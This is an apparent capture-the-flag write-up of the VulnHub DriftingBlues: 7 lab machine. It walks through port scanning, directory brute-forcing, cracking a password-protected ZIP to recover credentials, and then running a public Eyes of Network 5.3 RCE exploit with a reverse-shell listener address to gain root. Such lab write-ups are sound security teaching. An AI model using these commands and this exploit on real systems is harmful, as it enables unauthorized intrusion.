# DriftingBlues: 7 BOOT2ROOT CTF VULNHUB WRITEUP

Welcome back to another writeup! In this post, I’ll walk you through how I rooted the seventh box in the DriftingBlues series. We’re getting closer to the final machine—let’s dive in!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FBQIveZRpsJuoDif9lMXP%2F320886b31245f79fef503049beb4eb55.gif?alt=media&#x26;token=337531da-4765-40e6-aa00-d38b1f63e393" alt=""><figcaption></figcaption></figure>

The first step, as usual, is running an `Nmap` scan to identify any open ports that might serve as our initial access point.

nmap -A -T5 192.168.172.110

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F2Vw0Bny4FgCFw8TJhauM%2FScreenshot%20(1781).png?alt=media&#x26;token=23df04bf-251f-4f1c-bbb9-4fcc18c1dacf" alt=""><figcaption><p>Port 22 (ssh), Port 66 (http), Port 80 (http), Port 111 (rpcbind), Port 443 (https), port 2403, port 3306 (MySQL), Port 8086 (http)</p></figcaption></figure>

There are several ports running HTTP services, which means plenty of possibilities to explore. The next step is to check out the webpage. Since HTTPS is available, it should automatically redirect us to the secure version instead of HTTP.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F7JCtcNs1nZK2VMHJH51R%2FScreenshot%20(1783).png?alt=media&#x26;token=a29c1fd6-83f8-4a4d-87fa-99b5911ba5c0" alt=""><figcaption></figcaption></figure>

It's Eyes of Network! I have a good feeling about this, if the version of this is 5.3, it's an instant RCE.

**What is Eyes Of Network?**

Eyes of Network (EON) is an open-source IT infrastructure monitoring and management tool that combines several powerful tools like Nagios, Centreon, and Nagvis into a single platform. Designed for system and network administrators, EON provides real-time monitoring, performance graphs, alerting, and visualization of networks and servers, allowing users to detect issues quickly and maintain system uptime. It offers a web-based interface for easy configuration and status overview, making it a comprehensive solution for supervising both small and large-scale IT environments.

Since we don't have any credentials at the moment, we'll set that aside for now and explore the other ports. Let's take a look at Port 66—it stands out as unusual to me.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F9IDwYosJBXdgiyOQgnUR%2FScreenshot%20(1784).png?alt=media&#x26;token=b74edf8d-6546-495a-89c1-f4f2864fabcc" alt=""><figcaption></figcaption></figure>

Clicking on each of the tabs at the top doesn’t trigger any redirection or changes—the page remains completely static.

This looks a bit suspicious, so I began enumerating subdirectories on this page. At the same time, I also started scanning for subdirectories on other HTTP services using `dirsearch`.

`dirsearch -u http://192.168.172.110:66 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -e txt,php,html`

After a while, a file was finally discovered on Port 66.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FfQtdYRIUrZzGRL9xcwuw%2FScreenshot%20(1785).png?alt=media&#x26;token=8390d579-ff37-4194-ae22-8d7d850a1de6" alt=""><figcaption></figcaption></figure>

A file named eon discovered, so the next thing I did is to get it.&#x20;

`wget http://192.168.172.110:66/eon`&#x20;

Then check its content.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FfMr6xMMIZIn7IA81UD22%2FScreenshot%20(1787).png?alt=media&#x26;token=8b4e84c4-a66a-4759-a30d-b0ef3e4429a3" alt=""><figcaption></figcaption></figure>

Looks Base64, now let's decode it.

`echo "encoded_text" | base64 -d`&#x20;

This is the plaintext.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FsRirzcuop8yEy4kxL4Fx%2FScreenshot%20(1788).png?alt=media&#x26;token=d37f0a01-f572-4020-9334-c3db795fe5db" alt=""><figcaption></figcaption></figure>

Aha! This appears to be a ZIP file—based on the initial bytes of its content, it starts with "PK", which is a well-known file signature (also called a magic number) for ZIP archives. This signature indicates that the file likely contains compressed data, and it's worth investigating further to see if it holds any useful information or credentials we can extract.

Next thing I did is to turn that Base64 encoded text to a file using [`Base64.guru`](https://base64.guru/converter/decode/file) .

Now that  we have the ZIP file, let's unzip it.

`unzip application.zip`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FA5YakbpZ1Y3dp4VtzWlm%2FScreenshot%20(1790).png?alt=media&#x26;token=d2393bac-9c1b-4319-9bc0-392c1a78c868" alt=""><figcaption></figcaption></figure>

It has a password, now let's crack it. Let's convert the zip file to a hash first.

`zip2john application.zip > hash`&#x20;

Now let's crack it using `john`.

`john --wordlist=/usr/share/wordlists/rockyou.txt hash`&#x20;

And..

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FG40xBsnVSDxciv6QzAKI%2FScreenshot%20(1793).png?alt=media&#x26;token=09a8f1e8-b744-4fa6-8eeb-1afa21477c83" alt=""><figcaption></figcaption></figure>

We now have the password, now let's unzip it again!

We've now successfully retrieved the `creds.txt` file.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FJWpk3p1F2mqIpRKYcI69%2FScreenshot%20(1794).png?alt=media&#x26;token=94d6feee-fdd1-41da-b98f-bfcf68f0cbd4" alt=""><figcaption></figcaption></figure>

A username and a password. This might be the credential for the EON, let's try!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FZZzdP9us4CPqJaDO50n5%2FScreenshot%20(1796).png?alt=media&#x26;token=b2ef86ee-b5d7-4393-b6c3-c65a5e5ad9ae" alt=""><figcaption></figcaption></figure>

It worked—we’ve gained access! Now, let’s check what version of EON is this.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FwsYoGRk54qcB6XTfFBqW%2FScreenshot%20(1798).png?alt=media&#x26;token=7898652b-7f47-49c7-a771-871f1f2af53c" alt=""><figcaption></figcaption></figure>

Just as I suspected—it’s version 5.3! This version is known to be vulnerable to Remote Code Execution (RCE)!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FLa7O62MLSyE9F76gZgxC%2FScreenshot%20(1799).png?alt=media&#x26;token=87017b54-af3f-4ed1-a2a0-a90f831989aa" alt=""><figcaption></figcaption></figure>

As you can see, there's so many exploits available for this version, haha! But we’ll be using the last one!

`searchsploit -m php/webapps/48025.txt`&#x20;

Now that we’ve obtained the exploit, we’ll convert it into a Python file, as it’s originally written in Python.

`mv 48025.txt exploit.py`&#x20;

Now let's run the exploit!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FUNxcmtETFk5Ed6NaEwDX%2FScreenshot%20(1802).png?alt=media&#x26;token=d4a7acb5-b789-46ad-95b9-ce01b2fbf33b" alt=""><figcaption></figcaption></figure>

We're all set!&#x20;

`python3 exploit.py https://192.168.172.110 -ip 192.168.172.246 -port 1234 -user admin -password <REDACTED>`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Frlys9pcWzLBC5TY5gZhx%2FScreenshot%20(1804).png?alt=media&#x26;token=8fd35535-ca2b-41a7-8c9a-cc27bbef0db8" alt=""><figcaption></figcaption></figure>

We’re in! And if you notice the shell prompt showing a hash symbol (#), that means we’ve already gained root access!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FkWnLrr1cotgsLzJTu9N5%2FScreenshot%20(1809).png?alt=media&#x26;token=fea74bd9-9661-4157-bcca-31c9a7707558" alt=""><figcaption><p>Root Flag!</p></figcaption></figure>

We've successfully pwned DriftingBlues: 7!!!

This box is really simple actually, nothing's new\... Now time for the final box!! Stay tuned!!
